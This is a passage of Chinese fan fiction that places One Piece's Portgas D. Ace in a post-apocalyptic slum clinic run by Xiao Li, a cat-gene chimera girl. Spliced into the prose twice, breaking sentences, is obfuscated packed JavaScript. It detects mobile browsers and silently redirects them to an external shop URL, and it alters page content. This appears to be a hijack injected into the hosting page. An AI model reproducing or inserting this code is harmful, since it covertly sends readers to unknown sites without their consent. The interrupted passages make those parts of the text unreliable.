《猫与火焰之歌》 1. 猫与异乡客 世界死去之后,科技成了它坟前最讽刺的墓碑。 荒漠是无情的金色坟场,吞噬着任何胆敢离开城市高耸围墙的生命。而在文明崩塌的裂隙中,滋生出钢铁与水泥的畸形丛林——人们称之为“锈带”或“黑街”。这里,是中心城外的不法之地,法律是奢侈品,活着是日常品,而尊严,是早已被遗忘在辐射尘里的上古传说。空气中永远混杂着金属氧化后的腥锈、劣质能源燃烧的刺鼻味,以及某种更深层的、属于绝望的腐朽气息。 她有过两个名字。 第一个,是烙在左侧上臂的、由激光刻印留下的冰冷疤痕:5224。这不是名字,是编号,是她在那个被称为“基因嵌合计划”的实验室里的全部意义和价值。指尖抚过那片略微粗糙的皮肤时,她仿佛还能听见仪器规律的滴答声,闻到刺鼻的消毒水味道,感受到检测探针划过脊椎的寒意。 她是以猫的基因为蓝本,被强行缝合进人类片段的作品,一个声称用于应对未知危险、最终却被伦理委员会判定为“反人性”的失败品。 她不是第一个,也不是最后一个,像她这样的试验品还有几千个。人们高举着人权和自由的大旗走上街头,游行,抗议,在欢呼着胜利后,实验室被摧毁,庆祝他们这些试验品终于得到了自由,然后,没有人再去在意他们的未来,到头来甚至不愿承认他们是人类的一份子。 这些在培养皿的荧光和营养液的浸泡中长大的生命,大多带着无法完全收敛的动物特征和扭曲的肢体,他们像刚破壳的雏鸟,却被直接抛向了狂风暴雨。没有常识,没有技能,只有与生俱来的、被视为“怪物”的烙印。随着一个接一个实验室被摧毁,越来越多的试验体流落街头,他们无法被人类社会接纳,也没有能力学习与生活。纷争,混乱,排挤,仿佛一切的罪恶的源头由此开始,最后,只有那布满辐射尘和锈斑的老街,成了他们挣扎求存、相互撕咬又偶尔依偎的归宿。 第二个,是黑街诊所里那个无证行医的老K扔给她的:小狸。老K自己也是个改造人,脾气古怪,右眼是闪烁着红光的机械义眼,下半身被复杂的机械和轮组替代,行动时总伴随着轻微的轴承吱嘎声。他看着被解救出来后、像受惊的野猫一样缩在角落、对人类社会常识一无所知的她,眯了眯完好的那只浑浊左眼,狠狠地吸了一口可以称作奢侈品的烟草,烟雾缭绕中,他脸上的皱纹像是锈蚀的金属沟壑。“所以,你有名字么?”他问,声音像是生锈的齿轮在摩擦。 她不懂名字的意义,只是本能地摇了摇头,声音细弱得像幼猫呓语:“他们叫我5224,偶尔……也叫小猫。”她头顶那对黑色的猫耳紧张地压平成飞机耳,身后的长尾也下意识地环住自己纤细的脚踝。 老K布满油污的机械手指摩挲着手术台面上那把血迹斑斑的解剖刀刀柄,“这可不算名字。”他嘟囔着,“啊……真头大啊。”留着花白络腮胡的男人苦恼地挠了挠他那头乱蓬蓬的头发,最后像是放弃了思考,随意地挥了挥手:“就,小狸吧,怎么也比小猫正常些。” 5224,或者说,小狸,迷茫地眨了眨那双蔚蓝色的、如同最纯净天空却又带着兽类竖瞳的眼睛。她不明白什么是“正常”,但“小狸”这两个音节,从他沙哑的喉咙里滚出来,带着烟草的粗粝和一丝她无法理解的随意,却奇异地比冰冷的“5224”和物化的“小猫”更让她安心。这让她模糊地觉得,自己似乎不再仅仅是一件物品,一个编号,而是,一个人? “我是……小狸。”她轻轻地重复了一遍,像是在确认一个陌生的咒语。 老K看着少女因紧张而微微抖动的猫耳和身后不安地轻轻拍打地面的黑色长尾,机械义眼红光微闪,忽然问道:“你的基因融合度是多少?52系列的…我听说可以达到90以上。” 几乎是话音落下的瞬间,坐在椅子上的少女像是触发了某种刻在骨髓里的防御机制,只一个瞬间便消失在原地,速度快得只留下一道残影。取而代之的,是一只有着同样蔚蓝色眼睛、通体漆黑的黑色小猫,蜷缩在冰冷的地面上。她像是重复过千百次,用一种毫无波澜、近乎机械的语调刻板地重复着: “实验体5224,雌性,基因融合度99.84,嵌合物种:孟买猫。稳定性:优。服从性:……” “行了行了,可以了。”老K不耐烦地打断了她,机械手指精准地掐灭了还剩大半截的烟蒂,然后像是对待什么珍宝一样,小心翼翼地将那半截烟放回一个皱巴巴的金属烟盒里。代替双腿的机械轮发出熟悉的吱嘎声,他头也不回地向屋内昏暗的深处转去,只留下一句随意的吩咐,消散在满是药水味的空气里: “想留下来就帮我的忙吧,我可不养宠物,想留下来就努力派上用场吧。” 所以,十六岁的小狸,就在锈带深处这家弥漫着铁锈、消毒剂、血腥味,还有老K身上永远散不掉的机油和烟草混合气味的黑诊所里安了家。老K从不是什么好人,他可以从死人身上面无表情地拆下还能用的零件,转头就卖给活人换回廉价的合成酒和珍贵的烟草。这样的他更不可能是一个好老师,他只是心血来潮,收养了一只路过他这肮脏巢穴的、看起来还算有用的流浪猫,但也仅此而已。 小狸被放养在光线昏暗、堆满医疗废料和不明器械的房间里,老K算是默许了她出现在他的诊室,让她用那双既属于猫又属于人的、异常灵巧而稳定的手,在腐烂的皮肉与断裂的骨骼间,笨拙而专注地学习着寻找那一线渺茫的生机。她是被两个世界同时抛弃的异类,无法回到动物的纯粹,也无法被人类的“正常”社会接纳。 但是,她想活着。这个念头简单、原始,却像穿透混凝土缝隙的野草,在她心底顽固地扎根,向着任何可能的光源蜿蜒生长。 诊所就是她的巢穴,老K是唯一会叫她“小狸”的人。她在这里学习辨认那些标签模糊、字迹晕开的药品,用嗅觉和一点点尝试去区分刺鼻的止血剂与带着甜腥气的腐蚀液;学习用弯针和坚韧的合成线,将裂开的皮肉像缝合破布一样连接起来,针脚从歪歪扭扭到逐渐细密;也学习着在黑街“弱肉强食、睚眦必报”的残酷法则下,尽可能地活下去。 所以慢慢的,黑街的居民都知道了,老K养了一只能干的小猫。在一次次试探中,“蹬鼻子上脸”几乎是小猫被纵容后的天性。诊所里瓶瓶罐罐被尾巴扫落碎裂的频率越来越高,老K那混合着机械摩擦音的怒吼也越来越频繁地炸响在狭小的空间里:“小狸!你这小混蛋!那玩意儿很贵——!” 但大家都隐约能看出来,那个半机械脑袋的老K似乎被这只活物磨出了一点人味,甚至诡异得偶尔能在他那布满油污和胡茬的脸上,捕捉到一丝转瞬即逝、堪称“柔和”的扭曲表情。无事时,那只通体漆黑的小猫甚至能悠闲到趴在诊所那块锈迹斑斑的招牌上,伸着毛茸茸的爪子,去捕捉空中飞舞的、被霓虹灯影照得光怪陆离的蚊虫。 小狸本以为,这样充斥着机油味、叫骂声和偶尔安宁的日子,会一直这样缓慢而嘈杂地流淌下去。 然后,老K死了。 在这里,死亡几乎是再平常不过的事情,寻常得像早餐时合成面包多烤焦了一角。所以老K的死是那么稀疏平常,没有激起半点波澜。人们只是在酒馆啜饮劣酒时,含糊地感叹一句“黑街又少了个能缝缝补补的”,随即更关心的,是老K养的那只似乎也懂点医术的小猫,到底能不能继续派上用场。 小狸也有想过未来的某一天,自己或许会接手老K的诊所。只是没想到这天会来得如此猝不及防,像一盆冰水从头浇下。毕竟现在,当她下意识用爪子抓挠那扇饱经风霜的木制门框,或是用尾巴百无聊赖地将空药剂瓶扫落在地时,再也听不到那个气急败坏、却让这空间充满“活着”气息的叫骂声了。不知为何,失去了老K如生锈引擎般的鼾声,以及他身上那浓重得盖过消毒水味的机油气息,这间诊所居然开始变得像记忆深处的实验室培养皿一样,冰冷、死寂,令人窒息。那些偶尔投来的目光,只是带着廉价的怜悯,仿佛她是什么失去了主人的可怜虫。 但是小狸自己知道,不是的。她得派上用场,这样才能守住老K视若珍宝…或许更多是视为摇钱树的诊所,守住这个她唯一的、称得上是“巢穴”的地方。 所以,诊所重新开张了。招牌没换,只是更加斑驳。偶尔也会有熟客或走投无路的新面孔拖着残破的身体上门,带着怀疑的目光打量这个过分年轻、还有着非人特征的“新医生”。小狸沉默地处理着伤口,动作精准却缺乏交流。诊所就这样在半死不活的状态下维持着——门可罗雀,但黑街上最不缺的就是伤员和绝望,总有人会为了一线生机踏足这里,让她不至于饿死,却也仅此而已。 直到—— 那个弥漫着浓重湿气与不详意味的夜晚,她的嗅觉——那远超人类的、属于猎食者的敏锐感官,在诊所后巷湿冷污浊的空气里,捕捉到了一丝不同寻常的气味。不仅仅是浓重的、令人反胃的血腥气,更夹杂着一缕……她从未闻过的、仿佛能直接灼伤她鼻腔黏膜的“炽热”气息,像是一颗被投入冰水中的烧红烙铁,发出危险的嘶鸣。 小狸知道自己不该好奇的,在黑街,好奇心往往是通往坟墓最快的捷径。她应该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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但是……他看起来,真的快要死了。把他丢在这里,和直接动手杀了他有什么区别?老K会怎么做?大概会眯起那只机械义眼,冷静地评估一下:“嗯,看起来还能拆点零件换酒……” ……老K,当初是不是也像这样,倒在某个无人知晓的角落? 这个念头像一根细针,猝不及防地刺了她一下。她用力咬了咬下唇,直到尝到一丝淡淡的血腥味。最终,她还是几不可闻地叹了口气,像是认命般,小心翼翼地走上前。 “喂?你还活着吗?”她压低声音问道,用脚尖极其轻微地碰了碰对方肌肉结实的小臂,全身肌肉绷紧,做好了随时像受惊的猫一样弹跳开去的准备。 毫无反应。只有他皮肤下传来的、那异常滚烫的温度,透过鞋尖隐约传来。 凑近了,那股灼热的气息更加明显,仿佛他身体内部真的有一个即将燃尽的火炉,正徒劳地散发着最后的光和热。小狸蹲下身,借着远处霓虹招牌投来的微弱彩光,仔细看了看他的脸。眉眼深刻,鼻梁高挺,即使处于昏迷状态,紧抿的嘴唇和清晰的颌线也带着一种不屈不挠的、野性的轮廓。 她犹豫了一下,伸手在他唯一的裤子口袋里摸索了一下,触手所及只有布料被体温烘烤后的温热,没有找到任何钱包、身份芯片或是能证明来历的东西。 “好像……真的会是个来路不明的大麻烦……”她皱着眉,小声嘟囔着,像是说给他听,又像是在说服自己。但抱怨归抱怨,她还是费力地将青年一条沉重的手臂架到自己纤细的肩膀上,试图把这个远比看起来沉重得多的人体支撑起来。 好重! 青年比她想象中要沉得多,肌肉紧实,骨架也大,完全不是黑街那些常年在饥饿边缘挣扎的人可比的。但是幸好,她也不是真正手无缚鸡之力的人类少女。小狸用尽了吃奶的力气,还真的将他半拖半背、踉踉跄跄地挪动起来。她的尾巴因为全力负荷而紧张地笔直竖起,耳尖的绒毛也全都炸开,在黑暗中微微颤抖。 “我……我没有钱的,不可能送你去医院……”她喘着气,断断续续地低语,汗水从额角滑落,“就算有钱……他们也不会收治来路不明的、从黑街出来的家伙的……但是,你既然出现在这里……就是想要活下来的,对吧……?”她像是在对他说明这残酷的现实,又像是在为自己这冲动的、不合时宜的善举寻找一个合理的借口。“所以……也不用在意这些细节了……” 少女一边喃喃自语,一边将这个沉重的、散发着奇异灼热气息的“麻烦”,一点点挪进了那间狭小、昏暗,却也是她唯一能提供的避难所——诊所里。 随着诊所大门关闭时轴承发出的吱嘎声,命运的齿轮,在这一刻,带着铁柱味和一丝微不可查的火花,开始缓慢而坚定地转动起来。 2. 猫与蔚蓝眼眸 阳光透过诊所那层薄薄、甚至带着些许污渍的窗帘,在弥漫着消毒水与陈旧尘埃气味的空气中,切割出几道斜斜的光柱。 波特卡斯·D·艾斯是在一阵陌生的、隐隐作痛的感觉中恢复意识的。仿佛整个腹腔都被狠狠搅动过,每一次呼吸都牵扯着深处的伤口。他费力地睁开沉重的眼皮,视野先是模糊,然后慢慢聚焦,映入眼帘的是陌生的、覆盖着经年油污呈现出暗黄色的天花板,角落里甚至还挂着几缕蛛网。 不是他在莫比迪克号上那个虽然简单却充满海风气息的房间,也不是任何他熟悉的船舱或岛屿……最后的记忆是蒂奇抢夺果实重伤萨奇后畏罪潜逃……冲动下他独自驾驶前进号前去追击,蒂奇鱼死网破点燃了准备的火药,爆炸击沉了船……蒂奇那张狰狞的脸和带着寒光利刃在眼前不断放大 该死的! 他下意识地想撑起身体,这个动作立刻牵扯到腹部的伤口,一阵撕裂般的剧痛让他瞬间闷哼一声,额角渗出细密的冷汗,也让他彻底清醒过来。他这才迟钝地察觉到,自己的腰腹间被层层绷带紧密地包裹着,陌生的布料触感摩擦着皮肤。 他强忍着痛楚,黑曜石般的眼眸警惕地扫视四周。房间狭小、破旧,墙壁斑驳,但出乎意料地还算整洁。靠墙立着一个锈迹斑斑的金属架子,上面零星摆放着一些形状奇怪的瓶罐和器械,看这个布置,像是……病房? 窗外不断传来嘈杂的谈话声以及各种机械运转、金属碰撞的刺耳杂音。空气中不再有大海那熟悉而令人安心的咸腥气息,取而代之的是一种复杂的、混合着风沙的干燥、机油的腻人,以及消毒水刺鼻气味的陌生味道,让他喉咙发干。 他再一次尝试,用手肘支撑起上半身,肌肉因虚弱而微微颤抖。 “伤口如果再裂开的话,就要输血了。”一个清脆、带着点少女特有的柔软,却又努力维持着平静的女声,忽然在门口响起,“我可没有血可以给你用。” 艾斯循声望去,只见一个身影躲在门外,歪着身子,双手紧紧扒着门框,只露出半张白皙的小脸和那双圆溜溜的、正警惕地盯着他的蔚蓝色眼睛。那眼睛清澈得像最纯净的冰川湖泊,却又带着野生动物般的警觉。 发现他似乎无法构成即时威胁后,少女犹豫着,试探着往屋里挪了两步。这下,艾斯看得更清楚了。她黑色的微卷长发随意地散在脑后,显得有些凌乱,阳光照在她白皙得几乎透明的皮肤上,甚至能看清脸颊上那些细小的、柔软的绒毛。最引人注目的,是她发间那对黑色的、随着她细微动作而轻轻颤动的毛茸茸猫耳,以及一条从她身后绕过来的黑色长尾正不安地在地面上轻轻拍打。 艾斯眨了眨眼,甚至下意识地想抬手揉揉眼睛,怀疑自己是不是伤得太重,出现了什么奇怪的幻觉。猫耳?尾巴? 昨晚那些零碎的记忆碎片开始慢慢拼凑起来——无尽的黑暗和坠落,冰冷的街道,剧烈的疼痛……然后,似乎有一个轻盈得如同猫一般的身影靠近,带着担忧和无奈的眼神,努力地想搬动他沉重的身体…… 原来不是梦。 发现艾斯确实虚弱到无法起身后,似乎找到了一点安全感的小狸,又走近了几步,但依旧保持着一段距离。娇小纤细的少女穿着一件松垮的、绝对称不上合身的旧吊带裙,露出清晰的锁骨和过于清瘦的胳膊,这让她那双蔚蓝的大眼睛显得更加突出。那双干净纯粹的眼眸里,此刻正清晰地交织着担忧与警惕两种矛盾的情绪,弄得她自己都有些不知所措,只能像个被罚站的学生般,僵硬地停在房间中央。 “我叫小狸,”她再次开口,声音放轻了些,像是在陈述一个既定事实,“这里是我的诊所。你昨晚倒在我门口的巷子里……我给你简单处理了一下。”她顿了顿,视线落在他被绷带包裹的腹部,“现在……感觉怎么样?” 艾斯的记忆依旧模糊,完全没有如何来到这里的印象,只有身体各处传来的、不容忽视的疼痛在提醒他,这一切并非虚幻。 “艾斯,”他报上名字,试图扯出一个感谢的笑容,却因为疼痛而显得有些扭曲,“波特卡斯·D·艾斯。谢谢你救了我,小狸小姐。”他吸了口气,诚实地补充道,“不过说实在的,感觉……不太好。” 他语气里那份毫不掩饰的虚弱和无奈,似乎奇异地让少女紧绷的神经松弛了一点点。她缓缓走到床边的椅子旁,坐了下来,却低着头,目光落在自己交叠的手指上,像是自言自语般小声地回答: “只是碰巧看到……你不要担心,你的伤口……愈合得很快……” 或者说,快得有些不可思议。小狸从未见过拥有如此强悍自愈能力的人。那样足以致命的贯穿伤,在她开始着手处理时,流血就已经诡异地减缓了大半,伤口边缘甚至呈现出一种异常活跃的再生迹象。若非如此,以她从老K那里学来的、仅限于处理皮肉伤和简单缝合的“医术”,还真不知道该如何应对。 “这么重的伤,暂时脱力也是正常的。”她抬起头,终于将目光重新投向他的脸,带着一丝不易察觉的探究,“你…你有可以联系的人么?” 对面的人没有立刻回话。小狸有些疑惑地眨了眨眼,正对上艾斯那双深邃的、此刻正带着毫不掩饰的探究意味的黑眸。他的目光正快速而好奇地扫过她的猫耳和不安摆动的尾巴,那眼神里没有她惯常所见的厌恶、恐惧或是猎奇,更多的是一种……看到了某种新奇事物的、纯粹的兴奋感。不知为何,她甚至觉得他似乎蠢蠢欲动,对自己的非人特征兴趣十足。她下意识地往椅子里缩了缩,原本搭在腿上的长尾巴也“嗖”地一下灵巧地收到自己身后盘绕起来,只留下一个紧张的尾尖微微晃动。 虽然多少有些自满,但艾斯自认为“火拳艾斯”的名字和白胡子海贼团二番队队长的身份,在伟大航路上应该不算籍籍无名。然而面前的少女却完全一副一无所知的样子,眼神干净得像从未被海贼传闻污染过的天空。他面带疑惑,试探性地询问,声音还带着伤后的沙哑: “那个……小狸小姐,请问这里是哪里?我好像……完全搞不清楚状况了。” 小狸尽量让自己的语气显得平淡又疏离,像是在陈述一个最基本的常识:“这里是Z城的黑街。” “Z城?黑街?”艾斯脸上的困惑更加真实和浓重了,他喃喃自语,眉头紧锁,“从来没听过的地名……是伟大航路上的新岛屿吗?还是……西海的某个角落?”他挣扎着抬起头,紧紧盯着小狸,眼中带着一丝急切的期盼,“你还看到其他人了么?一个长相很凶的男人,或者……一艘船?挂着骷髅旗的船?” 伟大航路?船?骷髅旗? 小狸漂亮的眉毛拧了起来,蓝眼睛里写满了纯粹的困惑。这人在说什么?是伤到脑子了吗?还是说…… “我不知道你在说什么。”她老实地回答,甚至下意识地又往后缩了缩,开始严重怀疑这人可能不止身体受伤,精神状态也不太对劲,“我发现你的时候,只有你一个人倒在杂物堆旁边。至于船……”她摇了摇头,语气带着一种陈述事实的平静,“什么船?城外只有望不到边的黄沙和致命的辐射尘,海水……很早以前就已经退到人类难以接近的地方了。我从来没听说过……Z城附近有海。” 黄沙?辐射尘?没有海? 艾斯彻底愣住了。这些词汇对他来说完全陌生,组合在一起,构成了一个他无法理解的世界图景。他仔细感受了一下,空气中的味道不对,周围的声音也陌生得很,窗外那些偶尔掠过的、发出嗡嗡声的奇怪飞行器更是他认知之外的东西。一个荒谬又令人极度不安的念头骤然缠上了他的心脏——这里,可能根本不是伟大航路,甚至可能不是他所知的任何一片海洋!而这个有着猫耳和尾巴、救了他的小姑娘也…… 他的脸上无法控制地露出复杂而沉重的表情,心脏也仿佛坠入了冰冷的深渊。老爹、路飞、萨奇、丢斯……大家……我必须回去才行…… 他的沉默和骤然变化的脸色没有逃过小狸那双敏锐的眼睛。他那双原本仿佛燃烧着火焰般热情的眼睛此刻黯淡下来,流露出一种真实的、近乎茫然的痛苦,这不像是假装出来的。 小狸那颗在黑暗中浸泡太久、却依然保留着柔软角落的心,被这突如其来的、沉重的失落感微妙地触动了一下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941729|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她讨厌麻烦,害怕卷入未知,但更看不得别人露出这种被全世界抛弃了的、孤独无助的表情。那感觉,太像当初被莫名其妙地“解救”出来,然后茫然地站在完全陌生的世界中央,无所适从的自己了。 “……你,”她犹豫了一下,声音不自觉地放软了些,带着一丝连自己都未察觉的笨拙安慰,“你不记得自己怎么来的了?” 艾斯抬起头,对上她带着些许关切的蓝眼睛,苦笑着摇了摇头,无师自通地带上了几分真实的无助和茫然:“完全没印象。只记得受了伤,然后……醒来就在这里了。”他看着她,眼神真诚又带着恳求,像是抓住了唯一可能的浮木,“那个……小狸小姐,我好像……无处可去了。在这个地方,我现在只认识你一个人。” 他努力让自己看起来更可怜一点,甚至刻意让声音带上一点虚弱的颤抖:“我的伤好像还很重,自己可能走不了路……身上的钱和东西也都不见了。”他顿了顿,补充上最关键的一句,带着点试探,“我不会给你添太多麻烦的,只要有个地方能让我稍微恢复一下……我可以做工抵债!等我弄明白情况,找到办法,立刻就会离开的,我保证!” 小狸陷入了沉默。蓝色的猫瞳一眨不眨地审视着他,像是在衡量他话语中的真伪,以及收留他可能带来的风险。理智在她脑海里尖锐地鸣叫,告诉她现在立刻转身离开,将这个来历不明、满口陌生词汇的“大麻烦”请出去,才是最正确、最符合黑街生存法则的选择。 她深吸一口气,正准备开口。 可能就在她回神的瞬间,却发现病床上的青年目光毫不避讳地、专注地凝视着自己,但那眼神却不是黑街中最常见的那种令人不适的审视、估价或是欲望。他的眼睛很亮,像是蕴藏着未被污染过的星辰,纯粹而直接。他冲她露出一个笑容,带着一种理所当然的语气,真诚地夸赞道: “你的眼睛,很漂亮,像是蔚蓝的海。” 这句突如其来的、毫无征兆的赞美,像一颗投入平静湖面的石子,瞬间把小狸脑海中组织好的、所有拒绝的言辞都打散了。她愣住了,白皙的脸颊以肉眼可见的速度漫上一层薄红。她不明白,为什么能有人在自身难保的情况下,还能如此毫无顾忌、坦荡地说出这样的话。缺乏正常人际交往常识的她,一时之间完全懵了,甚至分不清奇怪的到底是自己,还是眼前这个笑得有点傻气的青年。 她几不可闻地叹了口气,身后那条黑色的长尾有些烦躁地在地板上甩动了一下,发出轻微的“啪嗒”声。最终,还是败给了自己那点该死的、对“所有物”的责任心,和这份不合时宜、却总在关键时刻冒头的心软。也许……她也可以像当初那个嘴硬心软的老K,对待一无是处的自己一样,给他一点点暂时的容身之处。 “……你可以先住在这里,”她听到自己的声音说,带着点认命般的妥协,“不过,等你伤好一点,能自己行动了,就必须想办法。” 艾斯眼睛瞬间亮了起来,仿佛重新燃起了小火苗,他立刻点头,笑容变得真切而灿烂,几乎驱散了房间里的阴霾:“嗯!谢谢你,小狸!这几天就打扰了!” 他的笑容太过直白,太过富有感染力,带着一种近乎灼热的活力。小狸被这过于灿烂的笑容晃了一下眼,有些不自在地移开目光,感觉耳根都在发烫,头顶的猫耳也不受控制地抖动了一下。 “……没关系。”她站起身,几乎是落荒而逃,“那你先好好休息。” 病床上的艾斯,看着女孩带着那对敏感的猫耳和摇曳的长尾、略显仓促离开的背影,脸上那灿烂的笑容慢慢收敛,转化为一种更深思的、带着锐利探究的平静。 这个世界很奇怪,空气、声音、造物,都透着诡异。 这个叫小狸的猫耳女孩也很奇怪,警惕又心软,强大又脆弱。 不过,既来之则安之,在找到回去的方法之前,果然还是要先想办法,在这个陌生的地方努力活下去啊。 他闭上眼,感受着体内火焰能力那微弱却依旧存在的呼应,以及腹部伤口传来的、带着痒意的愈合感。至少,他还活着。只要活着,就有无限可能。 3. 面包与花 小狸平时就住在诊所里,她甚至没有真正属于自己的床铺。大多数时候,她是窝在诊所里唯一那张还算柔软的病床上,整只猫蜷进那个早已失去蓬松弹性的枕头里,纤细的身体陷在其中,自己也像一只安静的毛绒玩偶。 诊所其实相当狭小,甚至没有像样的房间划分,更不要奢望区分什么生活区与工作区了。当初为了方便老K的轮椅行动,整个空间几乎没有隔断,站在门口便能一眼望到头。朝阳的窗户上放着几盆半死不活的绿植,叶子边缘泛着不健康的枯黄——那是过去一度宣扬在室内饲养就能净化辐射的流行品种,当然,如今早已没人会去追究这几片孱弱的叶子究竟能起到多少作用。整个诊所里,唯一完全属于小狸的东西,是一个小巧的、用某种合成藤条编织的吊篮椅。因为若是放在屋外,转眼间就会消失无踪,所以它被安置在靠近窗口、阳光最好的地方,里面铺着一块洗得发旧的软垫,一看便是小狸平时盘踞着晒太阳的专属宝座。 最初几天,气氛难免有些尴尬和拘谨,空气里仿佛都绷着一根无形的弦。 小狸本着“捡都捡回来了”和“伤员最大”的朴素原则,主动将相对舒适的病床让给了艾斯,自己则翻找出几条还算干净的毯子,在那张破旧的沙发上堆了个窝,每到夜晚便化作一团毛茸茸的黑色小猫,将自己深深埋进抱枕之间,只露出一双在黑暗中微微发光的蓝眼睛和一只偶尔抖动的尖耳朵。 不过万幸,艾斯的伤势恢复速度快得让小狸暗自咋舌。那么严重的贯穿伤,才过了三四天,他就能用手撑着床沿,尝试着下地缓慢行走了。绷带下的伤口传来阵阵发痒的感觉,那是血肉在以不可思议的速度疯狂愈合。小狸一边替他更换绷带,一边在心里嘀咕,这人的体质简直不像正常人类,倒更像是某种传说中生命力极其顽强的远古怪兽。 因为老K平时坐着轮椅,诊所的顶棚建造得并不高。艾斯躺着时还不觉得,当他能直起身板活动时,这个一米八几的高大个子瞬间让原本就狭小的空间显得更加拥挤、逼仄起来,仿佛连空气都不够分了。 感觉到体力在一点点恢复,艾斯也想尽量做些力所能及的事情,减少小狸的负担。然而这个世界于他而言太过陌生,一切都透着诡异。他想要帮忙打扫,环顾四周却没看到熟悉的扫把,那些看起来像是清洁工具的东西上布满了闪烁的按钮和看不懂的显示屏。而诊所的主人小狸,也只是睁着一双懵懂的大眼睛,像只受惊的小动物般缩在角落里,看着他像无头苍蝇一样四处乱转,仿佛她才是那个误入了陌生环境的客人。 他当然不知道,那些他不会用的、带着科技感的玩意儿,其实小狸自己也大多不会操作。这只在实验室和黑街长大的小猫咪,甚至没有太多“需要主动打扫”的概念,生存已耗尽全力,整洁近乎奢侈。当艾斯终于从杂物堆深处翻出非常原始的、一个掉了漆的金属水桶和一把看起来还能用的、最朴素的扫把时,蹲在一旁的小狸甚至比他还要好奇一点。她伸出纤细的手指,小心翼翼地摸了摸水桶冰凉的把手,看着艾斯将不知从哪里找来的旧布浸湿、拧干,然后认真地擦拭着家具上积攒的灰尘,又用扫把费力地清除着屋顶角落的蛛网。 等艾斯忙活得满头大汗,回头想要歇口气时,正看到小狸在学着他的样子,用另一块较小的湿毛巾,笨拙却认真地擦拭着窗台上顽固的污渍。她不时偷偷回头,用眼神确认自己做得对不对,那神情像极了学习捕猎技巧的幼猫。艾斯不由得失笑,冲她露出一个灿烂的笑容,用力竖起了大拇指。小狸歪着头,仔细看了看他鼓励的手势,在明白这动作代表着肯定与赞许后,嘴角一点点上扬,露出了这些天以来第一个真正意义上的、轻松的笑容,漂亮的眼睛弯成了月牙。她犹豫了一下,也学着他的样子,有些生涩地、对着他竖起了自己的大拇指。 这场突如其来的大扫除持续了几乎一整天。当最后一片蛛网被清除,甚至连那扇因为锈蚀而许久无法完全打开的窗户,也被艾斯想办法修好,彻底推开时,久违的、带着雨后湿润气息的风涌了进来,轻轻拂动着薄薄的窗帘。诊所的墙壁终于显露出油污覆盖下的原本颜色,虽然依旧陈旧,却焕发出一种难得的清爽。 完全累坏了的两人并排坐在那张不算宽敞的旧沙发上,谁也没有说话。刚刚下过一场雨,空气难得地洗去了往日的粉尘,带着微凉的湿意和泥土的气息。小狸闭上眼睛,感受着细小的、清凉的水珠轻柔地扑在脸上,头顶那双黑色的猫耳惬意地轻轻抖动,追寻着风中细微的声响。 艾斯举着杯子大口喝水,目光却不自觉地斜落在身旁的少女身上。阳光透过干净的窗户,勾勒出她纤细的轮廓,照亮了她脸上细小的绒毛,也让她那对毛茸茸的黑色猫耳和慵懒垂在沙发边缘的长尾巴显得更加清晰。经过这些天的相处,艾斯多少也有些察觉,这个叫做小狸的少女,无论是外表还是某些无意识的小动作,都带着极其鲜明的猫科动物特征。这让他不由得想起自己养着的那只长相凶悍、但叫声却异常软萌的山猫柯达兹。看着小狸此刻眯着眼睛、一脸乖巧放松的样子,他总是忍不住幻视柯达兹伸着毛茸茸的脑袋,软绵绵地叫着、用身体蹭他的腿撒娇求抚摸的模样。 好想念柯达兹那身热乎乎的毛啊……小狸的头发,看起来好像也很好摸的样子…… 等等!清醒一点啊艾斯!如果突然伸手去摸一个少女的头发,怎么想都是非常失礼的行为吧! 就在艾斯内心天人交战之际,小狸突然睁开了眼睛,蔚蓝色的瞳孔直直地看向他。艾斯心头一跳,有点尴尬地连忙举起杯子猛灌了几口水,试图掩饰自己刚才那“相当失礼”的冲动,眼神下意识地想要回避,却还是克制不住地瞥向她那双清澈得动人心魄的眼眸。 那真的是……很漂亮的一双眼睛。他再一次在心里感叹,清澈得像伟大航路上最晴朗天空下的海。 小狸双手抱膝,小巧的下巴抵在膝盖上,安静地看着身旁这个闯入她世界的青年。奇怪的是,经过这几日的相处,对于这个突然侵入自己领地、分享她狭小空间的“陌生人”,她并不像最初想象中那般厌烦和排斥。 自从老K去世后,诊所里便只剩下一室冰冷的、几乎要将人吞噬的冷清和孤寂。没有患者上门的时候,小狸有时一整天都不会开口说一句话,寂静得只能听到自己的呼吸和心跳。而现在,多了一个人,感觉确实很不一样。哪怕是平静的午后,也总能听到一些动静——可能是艾斯研究那些古怪电器时发出的困惑惊呼,可能是他康复锻炼时不慎撞到矮柜的闷响,甚至可能,仅仅只是他平稳而规律的呼吸声,都让这个空间充满了“活着”的气息。 而且,艾斯是个很……温暖的人。字面意义上的温暖,他身上总是跟个小火炉似的,在这个天气渐凉的早秋,仅仅是靠近他坐着,都会觉得有股舒适的暖意包裹过来。性格上也一样。他笑容灿烂,心思单纯开朗得像直射的阳光,虽然依旧满口她听不懂的“大海”、“伟大航路”,但对她的收留表达了十足的、毫不掩饰的感激。 和老K那张总是冷冰冰、写满不耐烦的脸不同,艾斯总会对她扬起一个毫无阴霾的、极具感染力的笑容,元气满满地说:“早上好,小狸!” 这种“家里有人”、“不再是独自一个”的感觉,对在孤独中浸泡了太久的小狸来说,是一种陌生到令人心慌,却又忍不住悄悄贪恋的体验。 艾斯虽然有时候显得脱线又莽撞,但意外地体贴细心。他会默默把她踮起脚也够不到的药品拿下来,堆在角落的杂物也慢慢有了自己的位置,甚至连小狸平时晒太阳的吊篮里,都不知何时多了一条看起来就软绵绵、暖烘烘的毯子。 